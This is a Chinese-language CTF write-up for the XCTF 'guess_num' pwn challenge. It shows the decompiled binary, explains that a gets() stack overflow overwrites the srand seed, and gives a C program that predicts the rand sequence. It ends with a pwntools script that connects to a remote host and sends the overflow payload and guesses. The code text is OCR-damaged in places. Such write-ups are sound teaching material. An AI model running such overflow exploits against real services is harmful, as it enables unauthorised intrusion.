guess_num 攻防世界

解题

如果每次设置的种子都相同,那么生成的伪随机数列是相同的。 通过v7栈溢出覆盖seed,使得生成的随机数序列是确定值。

```
1_int64 _fastcall main(int a1, char **a2, char **a3)
   2 {
   3
     int v4; // [rsp+4h] [rbp-3Ch] BYREF
     int i; // [rsp+8h] [rbp-38h]
     int v6; // [rsp+Ch] [rbp-34h]
   5
     char v7[32]; // [rsp+10h] [rbp-30h] BYREF
   6
   7
     unsigned int seed[2]; // [rsp+30h] [rbp-10h]
   8
      unsigned __int64 v9; // [rsp+38h] [rbp-8h]
   9
10 v9 = __readfsqword(0x28u);
     setbuf(stdin, OLL);
11
12 setbuf(stdout, OLL);
     setbuf(stderr, OLL);
13
14 v4 = 0;
15 v6 = 0;
     *(_OWORD *)seed = sub_BB0();
16
     puts("-----
17
      puts("Welcome to a guess number game!");
0 18
      puts("-----
9
      puts("Please let me know your name!");
 20
21
     printf("Your name:");
22 gets(v7);
23
     srand(seed[0]);
      for (i = 0; i \le 9; ++i)
24
  25
       v6 = rand() % 6 + 1;
26
        printf("-----Turn:%d-----\n", (unsigned int)(i + 1));
27
        printf("Please input your guess number:");
  28
  29
        _isoc99_scanf("%d", &v4);
        puts("----
9 30
                                            -");
31
        if (v4 \neq v6)
  32
        {
         puts("GG!");
 33
34
         exit(1);
  35
      puts("Success!");
9 36
  37
38
      sub_C3E();
39
      return OLL;
40}
               __int64 sub_C3E()
              1
              2 {
            9 3
                 printf("You are a prophet!\nHere is your flag!");
                 system("cat flag");
            5
                 return OLL;
           6 }
```

C语言复现生成随机数的过程, seed占四个字节, 全部覆盖为'a', 即0x61616161。

```
С
 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 int main(){
            unsigned int seed = 0x61616161;
 4
 5
        srand(seed);
        for (int i = 0; i <= 9; ++i)
 6
 7
            printf("%d",rand() % 6 + 1);
 8
 9
        }
        printf("\n")
10
11 }
```

linux下运行后得到随机序列: 5646623622

```
Python

1    from pwn import *
2    #context.log_level = 'debug'
3    p = remote('111.200.241.243',56584)
4    #p = process('./pwn')
5    payload = 'a'*0x20 + 'a'*0x04
6    p.sendlineafter('name:',payload)
7    #sequence:5646623622
8    for i in "5646623622":
9        p.sendlineafter('number:',i)
10    p.interactive()
```